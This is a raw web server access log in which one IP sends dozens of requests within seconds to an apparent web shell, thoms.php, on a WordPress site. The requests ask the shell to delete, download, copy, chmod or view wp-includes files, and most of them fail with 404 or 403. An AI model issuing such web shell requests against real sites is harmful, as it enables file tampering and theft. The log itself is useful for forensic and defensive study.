45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?del=date.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=date.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /biotaiwan.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?dl=class-wp-block.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Flocale.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Flocale.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /biotaiwan.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /biotaiwan.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?chmod=certificates&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?dl=bookmark.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?del=class-oembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?dl=class-requests.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:21 -0400] "GET /thoms.php?del=class-walker-comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /biotaiwan.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /biotaiwan.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?del=html-api&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=html-api&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?chmod=class-phpass.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-patterns.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-patterns.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-network.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-network.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:22 -0400] "GET /thoms.php?dl=taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?chmod=SimplePie&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?dl=fonts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /biotaiwan.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fadmin-bar.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fadmin-bar.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?dl=blocks.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?dl=cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /biotaiwan.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?dl=sitemaps.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /biotaiwan.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:23 -0400] "GET /biotaiwan.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?chmod=version.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /biotaiwan.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?chmod=view-transitions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?dl=ai-client.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
